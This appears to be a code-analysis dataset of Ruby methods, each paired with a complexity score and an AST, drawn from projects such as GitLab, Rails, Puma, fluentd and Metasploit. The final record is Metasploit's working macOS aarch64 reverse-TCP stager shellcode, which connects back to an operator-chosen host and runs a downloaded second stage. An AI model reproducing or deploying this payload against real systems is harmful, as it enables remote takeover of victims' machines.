@includes_record_filter = self.class.ancestors.include?(Fluent::Compat::RecordFilterMixin)\n\n        methods_of_plugin = self.class.instance_methods(false)\n        @overrides_emit = methods_of_plugin.include?(:emit)\n        # RecordFilter mixin uses its own #format_stream method implementation\n        @overrides_format_stream = methods_of_plugin.include?(:format_stream) || @includes_record_filter\n\n        ParserUtils.convert_parser_conf(conf)\n        FormatterUtils.convert_formatter_conf(conf)\n\n        super\n\n        if config_style == :v1\n          unless @buffer_config.chunk_keys.empty?\n            raise Fluent::ConfigError, \"this plugin '#{self.class}' cannot handle arguments for <buffer ...> section\"\n          end\n        end\n\n        self.extend BufferedChunkMixin\n\n        if @overrides_emit\n          self.singleton_class.module_eval do\n            attr_accessor :last_emit_via_buffer\n          end\n          output_plugin = self\n          m = Module.new do\n            define_method(:emit) do |key, data, chain|\n              # receivers of this method are buffer instances\n              output_plugin.last_emit_via_buffer = [key, data]\n            end\n          end\n          @buffer.extend m\n        end\n      end","complexity_score":83.9,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bufconf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CompatOutputUtils\"]},\"buffer_section\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config_style\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bufconf\"]},{\"type\":\"sym\",\"children\":[\"v1\"]},{\"type\":\"sym\",\"children\":[\"v0\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"v0\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"flush_mode\"]},{\"type\":\"str\",\"children\":[\"interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"retry_type\"]},{\"type\":\"str\",\"children\":[\"exponential_backoff\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUFFER_PARAMS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"older\"]},{\"type\":\"arg\",\"children\":[\"newer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newer\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"older\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"older\"]},\"==\",{\"type\":\"str\",\"children\":[\"buffer_queue_full_action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"older\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"str\",\"children\":[\"throw_exception\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf_params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"newer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"older\"]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"elements\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"Element\"]},\"new\",{\"type\":\"str\",\"children\":[\"buffer\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"buf_params\"]},{\"type\":\"array\",\"children\":[]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@includes_record_filter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"ancestors\"]},\"include?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Compat\"]},\"RecordFilterMixin\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"methods_of_plugin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"instance_methods\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@overrides_emit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods_of_plugin\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"emit\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@overrides_format_stream\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods_of_plugin\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"format_stream\"]}]},{\"type\":\"ivar\",\"children\":[\"@includes_record_filter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ParserUtils\"]},\"convert_parser_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FormatterUtils\"]},\"convert_formatter_conf\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"v1\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer_config\"]},\"chunk_keys\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"this plugin '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\"' cannot handle arguments for <buffer ...> section\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extend\",{\"type\":\"const\",\"children\":[null,\"BufferedChunkMixin\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@overrides_emit\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"singleton_class\"]},\"module_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"sym\",\"children\":[\"last_emit_via_buffer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output_plugin\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"emit\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"chain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_plugin\"]},\"last_emit_via_buffer=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"extend\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},null]}]}]}","id":"56042acb-5528-4b84-85eb-aa5aa818bbda"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/object_builder.rb","start_line":181,"raw_source":"def epic?\n          klass == Epic\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"epic?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Epic\"]}]}]}","id":"2a6583ec-05e9-454e-93ee-c809a5b2b551"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/launcher.rb","start_line":122,"raw_source":"def write_state\n      write_pid\n\n      path = @options[:state]\n      permission = @options[:state_permission]\n      return unless path\n\n      require_relative 'state_file'\n\n      sf = StateFile.new\n      sf.pid = Process.pid\n      sf.control_url = @options[:control_url]\n      sf.control_auth_token = @options[:control_auth_token]\n      sf.running_from = File.expand_path('.')\n\n      sf.save path, permission\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"write_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_pid\"]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"permission\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state_permission\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"require_relative\",{\"type\":\"str\",\"children\":[\"state_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StateFile\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sf\"]},\"pid=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sf\"]},\"control_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"control_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sf\"]},\"control_auth_token=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"control_auth_token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sf\"]},\"running_from=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sf\"]},\"save\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}]}","id":"e19db3e7-1884-4516-87c7-4e4c734290e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/rapid_diffs/merge_request_presenter.rb","start_line":17,"raw_source":"def diff_file_endpoint\n      diff_file_project_merge_request_path(resource.project, resource)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"diff_file_project_merge_request_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}","id":"0f01d5f9-d7b2-47ab-bbb4-945e471c7767"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":61,"raw_source":"def test_find_by_with_custom_primary_key\n    assert_equal authors(:david), Author.find_by(owned_essay: essays(:david_modest_proposal))\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_by_with_custom_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owned_essay\"]},{\"type\":\"send\",\"children\":[null,\"essays\",{\"type\":\"sym\",\"children\":[\"david_modest_proposal\"]}]}]}]}]}]}]}","id":"50e5f1fa-2331-471f-af37-2fe832bc1eee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb","start_line":163,"raw_source":"def cmd_pivot_tabs(str, words)\n    return %w[list add remove] + @@pivot_opts.option_keys if words.length == 1\n\n    case words[-1]\n    when '-a'\n      return @@pivot_supported_archs\n    when '-i'\n      matches = []\n      client.pivot_listeners.each_value { |v| matches << v.id.unpack('H*')[0] }\n      return matches\n    when '-p'\n      return @@pivot_supported_platforms\n    when '-t'\n      return ['pipe']\n    when 'add', 'remove'\n      return @@pivot_opts.option_keys\n    end\n\n    []\n  end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_pivot_tabs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]},{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"list\"]},{\"type\":\"str\",\"children\":[\"add\"]},{\"type\":\"str\",\"children\":[\"remove\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@pivot_opts\"]},\"option_keys\"]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-a\"]},{\"type\":\"return\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@pivot_supported_archs\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-i\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"pivot_listeners\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"id\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-p\"]},{\"type\":\"return\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@pivot_supported_platforms\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"pipe\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"add\"]},{\"type\":\"str\",\"children\":[\"remove\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@pivot_opts\"]},\"option_keys\"]}]}]},null]},{\"type\":\"array\",\"children\":[]}]}]}","id":"a6fab92b-9f1e-49b6-ac91-38f84d43afaa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/settings/packages_and_registries_controller.rb","start_line":35,"raw_source":"def set_feature_flag_packages_protected_packages\n        push_frontend_feature_flag(:packages_protected_packages_delete, project)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_feature_flag_packages_protected_packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"push_frontend_feature_flag\",{\"type\":\"sym\",\"children\":[\"packages_protected_packages_delete\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"d525aa97-bf35-4b07-b4ff-74b255ee365a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/controllers/my/time_tracking_controller.rb","start_line":148,"raw_source":"def week_start_day\n      case Setting.start_of_week\n      when 6 then :saturday\n      when 7 then :sunday\n      else :monday\n      end\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"week_start_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"start_of_week\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"sym\",\"children\":[\"saturday\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"sym\",\"children\":[\"sunday\"]}]},{\"type\":\"sym\",\"children\":[\"monday\"]}]}]}","id":"b55f0477-9000-4d05-aa6d-c84ddac634a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/api/description_tags.rb","start_line":75,"raw_source":"def autocorrect(corrector, block_node, body_node)\n          tag = determine_tag(block_node)\n          tags_line = \"#{indent(body_node || block_node)}tags %w[#{tag}]\\n\"\n\n          # Insert before the closing 'end' of the block\n          corrector.insert_before(block_node.loc.end, tags_line)\n        end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"block_node\"]},{\"type\":\"arg\",\"children\":[\"body_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[null,\"determine_tag\",{\"type\":\"lvar\",\"children\":[\"block_node\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indent\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body_node\"]},{\"type\":\"lvar\",\"children\":[\"block_node\"]}]}]}]},{\"type\":\"str\",\"children\":[\"tags %w[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"str\",\"children\":[\"]\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"loc\"]},\"end\"]},{\"type\":\"lvar\",\"children\":[\"tags_line\"]}]}]}]}","id":"d65c6559-2a5a-4039-8bc3-f1ca27c157ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/background_transaction.rb","start_line":18,"raw_source":"def prometheus_metric(name, type, &block)\n          fetch_metric(type, name) do\n            # set default metric options\n            docstring \"#{name.to_s.humanize} #{type}\"\n\n            evaluate(&block)\n            # always filter sensitive labels and merge with base ones\n            label_keys BASE_LABEL_KEYS | (label_keys - ::Gitlab::Metrics::Transaction::FILTERED_LABEL_KEYS)\n          end\n        end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prometheus_metric\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_metric\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"docstring\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"humanize\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"evaluate\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"label_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASE_LABEL_KEYS\"]},\"|\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label_keys\"]},\"-\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"Transaction\"]},\"FILTERED_LABEL_KEYS\"]}]}]}]}]}]}]}]}","id":"b2109228-7f75-4c0e-86d9-dcfeb986f7c8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/where_clause.rb","start_line":208,"raw_source":"def extract_node_value(node)\n          if node.respond_to?(:value_before_type_cast)\n            node.value_before_type_cast\n          elsif Array === node\n            node.map { |v| extract_node_value(v) }\n          end\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_node_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"value_before_type_cast\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"value_before_type_cast\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_node_value\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},null]}]}]}","id":"3d0faae5-3705-4ca1-aca1-010fbf075086"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/osx/aarch64/reverse_tcp.rb","start_line":36,"raw_source":"def generate(_opts = {})\n    encoded_port = [datastore['LPORT'].to_i, 2].pack('vv').unpack('N').first\n    encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack('V').first\n    retry_count = datastore['StagerRetryCount']\n    seconds = datastore['StagerRetryWait']\n    sleep_seconds = seconds.to_i\n    sleep_nanoseconds = (seconds % 1 * 1000000000).to_i\n\n    payload = [\n      # Generated from external/source/shellcode/osx/aarch64/stager_sock_reverse.s\n      # <_main>:\n      0xaa1f03e0, # mov\tx0, xzr\n      0xd2802901, # mov\tx1, #328\n      0xd2800042, # mov\tx2, #2\n      0xd2820043, # mov\tx3, #4098\n      0xaa3f03e4, # mvn\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x580007d0, # ldr\tx16, 0x100003f80 <sleep_seconds+0x8>\n      0xd4000001, # svc\t#0\n      0xb100041f, # cmn\tx0, #1\n      0x54000600, # b.eq\t0x100003f54 <failed>\n      0xaa0003ec, # mov\tx12, x0\n      0xd280000a, # mov\tx10, #0\n      0x1000064b, # adr\tx11, #200\n      0xf940016b, # ldr\tx11, [x11]\n      # <socket>:\n      0xd2800040, # mov\tx0, #2\n      0xd2800021, # mov\tx1, #1\n      0xd2800002, # mov\tx2, #0\n      0x580006b0, # ldr\tx16, 0x100003f88 <sleep_seconds+0x10>\n      0xd4000001, # svc\t#0\n      0xaa0003ed, # mov\tx13, x0\n      0x10000501, # adr\tx1, #160\n      0xf9400021, # ldr\tx1, [x1]\n      0xf81f8fe1, # str\tx1, [sp, #-8]!\n      0x910003e1, # mov\tx1, sp\n      0xd2800202, # mov\tx2, #16\n      0x580005f0, # ldr\tx16, 0x100003f90 <sleep_seconds+0x18>\n      0xd4000001, # svc\t#0\n      0xaa0d03e0, # mov\tx0, x13\n      0xaa0c03e1, # mov\tx1, x12\n      0xd2802902, # mov\tx2, #328\n      0xd2800803, # mov\tx3, #64\n      0xaa1f03e4, # mov\tx4, xzr\n      0xaa1f03e5, # mov\tx5, xzr\n      0x58000530, # ldr\tx16, 0x100003f98 <sleep_seconds+0x20>\n      0xd4000001, # svc\t#0\n      0xaa0c03e0, # mov\tx0, x12\n      0xd2802901, # mov\tx1, #328\n      0xd28000a2, # mov\tx2, #5\n      0x580004d0, # ldr\tx16, 0x100003fa0 <sleep_seconds+0x28>\n      0xd4000001, # svc\t#0\n      0xd61f0180, # br\tx12\n      # <retry>:\n      0xd100056b, # sub\tx11, x11, #1\n      0xf100017f, # cmp\tx11, #0\n      0x540001c0, # b.eq\t0x100003f54 <failed>\n      0xd2800000, # mov\tx0, #0\n      0xd2800001, # mov\tx1, #0\n      0x10000242, # adr\tx2, #72\n      0xf9400042, # ldr\tx2, [x2]\n      0x10000243, # adr\tx3, #72\n      0xf9400063, # ldr\tx3, [x3]\n      0xa9bf0be3, # stp\tx3, x2, [sp, #-16]!\n      0x910003e4, # mov\tx4, sp\n      0xd2800002, # mov\tx2, #0\n      0xd2800003, # mov\tx3, #0\n      0x58000310, # ldr\tx16, 0x100003fa8 <sleep_seconds+0x30>\n      0xd4000001, # svc\t#0\n      0x54ffface, # b.al\t0x100003ea8 <socket>\n      # <failed>:\n      0xd2800020, # mov\tx0, #1\n      0x580002d0, # ldr\tx16, 0x100003fb0 <sleep_seconds+0x38>\n      0xd4000001, # svc\t#0\n      # <caddr>:\n      encoded_port, # ldr\td2, 0x100025f60 <SYS_MMAP+0xfe025e9b>\n      encoded_host, # <unknown>\n      # <retry_count>:\n      retry_count, # udf\t#16962\n      0x00000000, # udf\t#16962\n      # <sleep_nanoseconds>:\n      0x00000000, # udf\t#17219\n      sleep_nanoseconds, # udf\t#17219\n      # <sleep_seconds>:\n      0x00000000, # udf\t#17476\n      sleep_seconds, # udf\t#17476\n      0x020000c5, # <unknown>\n      0x00000000, # udf\t#0\n      0x02000061, # <unknown>\n      0x00000000, # udf\t#0\n      0x02000062, # <unknown>\n      0x00000000, # udf\t#0\n      0x0200001d, # <unknown>\n      0x00000000, # udf\t#0\n      0x0200004a, # <unknown>\n      0x00000000, # udf\t#0\n      0x0200005d, # <unknown>\n      0x00000000, # udf\t#0\n      0x02000001, # <unknown>\n      0x00000000, # udf\t#0\n    ].pack('V*')\n    return payload\n  